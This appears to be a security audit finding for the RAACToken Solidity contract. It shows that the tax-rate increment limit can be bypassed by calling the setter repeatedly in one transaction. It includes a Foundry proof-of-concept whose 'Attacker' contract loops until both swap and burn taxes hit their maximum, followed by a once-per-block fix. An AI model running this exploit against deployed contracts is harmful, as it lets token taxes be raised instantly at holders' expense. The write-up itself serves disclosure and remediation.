RAACToken tax rate update mechanism does not prevent multiple calls in one transaction. This allows to set maximum tax rate in one transaction.
function _setTaxRate(uint256 newRate, bool isSwapTax) private {
if (newRate > MAX_TAX_RATE) revert TaxRateExceedsLimit();
uint256 currentRate = isSwapTax ? swapTaxRate : burnTaxRate;
if (currentRate != 0) {
@> uint256 maxChange = currentRate.percentMul(taxRateIncrementLimit);
bool isTooHighOrTooLow = newRate > currentRate + maxChange || newRate < currentRate && currentRate - newRate > maxChange;
if (isTooHighOrTooLow) {
revert TaxRateChangeExceedsAllowedIncrement();
}
}
if (isSwapTax) {
swapTaxRate = newRate;
emit SwapTaxRateUpdated(newRate);
} else {
burnTaxRate = newRate;
emit BurnTaxRateUpdated(newRate);
}
}
pragma solidity 0.8.28;
import {Test, console} from "forge-std/Test.sol";
import {RAACToken} from "src/core/tokens/RAACToken.sol";
import {PercentageMath} from "src/libraries/math/PercentageMath.sol";
contract TestRAACToken is Test {
RAACToken public raacToken;
function setUp() public {
raacToken = new RAACToken(address(this), 0, 0);
}
function test_setMaxTax() public {
uint256 initialSwapRate = raacToken.swapTaxRate();
uint256 initialBurnRate = raacToken.burnTaxRate();
Attacker attacker = new Attacker(raacToken);
raacToken.transferOwnership(address(attacker));
attacker.setMaxTax();
uint256 finalSwapRate = raacToken.swapTaxRate();
uint256 finalBurnRate = raacToken.burnTaxRate();
console.log("Initial swap rate: ", initialSwapRate);
console.log(" Final swap rate: ", finalSwapRate);
console.log("Initial burn rate: ", initialBurnRate);
console.log(" Final burn rate: ", finalBurnRate);
}
}
contract Attacker {
using PercentageMath for uint256;
RAACToken public raacToken;
constructor(RAACToken _raacToken) {
raacToken = _raacToken;
}
function setMaxTax() public {
uint256 maxTaxRate = raacToken.MAX_TAX_RATE();
uint256 taxRateIncrementLimit = raacToken.taxRateIncrementLimit();
uint256 currentRate = raacToken.swapTaxRate();
while (currentRate < maxTaxRate) {
uint256 maxChange = currentRate.percentMul(taxRateIncrementLimit);
uint256 rate = maxChange + currentRate;
if (rate > maxTaxRate) {
rate = maxTaxRate;
}
raacToken.setSwapTaxRate(rate);
currentRate = raacToken.swapTaxRate();
}
currentRate = raacToken.burnTaxRate();
while (currentRate < maxTaxRate) {
uint256 maxChange = currentRate.percentMul(taxRateIncrementLimit);
uint256 rate = maxChange + currentRate;
if (rate > maxTaxRate) {
rate = maxTaxRate;
}
raacToken.setBurnTaxRate(rate);
currentRate = raacToken.burnTaxRate();
}
}
}
Add a limit to single call per block.
function _setTaxRate(uint256 newRate, bool isSwapTax) private {
if (newRate > MAX_TAX_RATE) revert TaxRateExceedsLimit();
+ if (block.number == lastTaxRateChangeBlock) revert TaxRateChangeTooSoon();
+ lastTaxRateChangeBlock = block.number;
uint256 currentRate = isSwapTax ? swapTaxRate : burnTaxRate;
if (currentRate != 0) {
uint256 maxChange = currentRate.percentMul(taxRateIncrementLimit);
// Check if the new rate is too high (newRate > currentRate + maxChange) or too low (newRate < currentRate && currentRate - newRate > maxChange) by more than the allowed increment
bool isTooHighOrTooLow = newRate > currentRate + maxChange || newRate < currentRate && currentRate - newRate > maxChange;
if (isTooHighOrTooLow) {
revert TaxRateChangeExceedsAllowedIncrement();
}
}
if (isSwapTax) {
swapTaxRate = newRate;
emit SwapTaxRateUpdated(newRate);
} else {
burnTaxRate = newRate;
emit BurnTaxRateUpdated(newRate);
}
}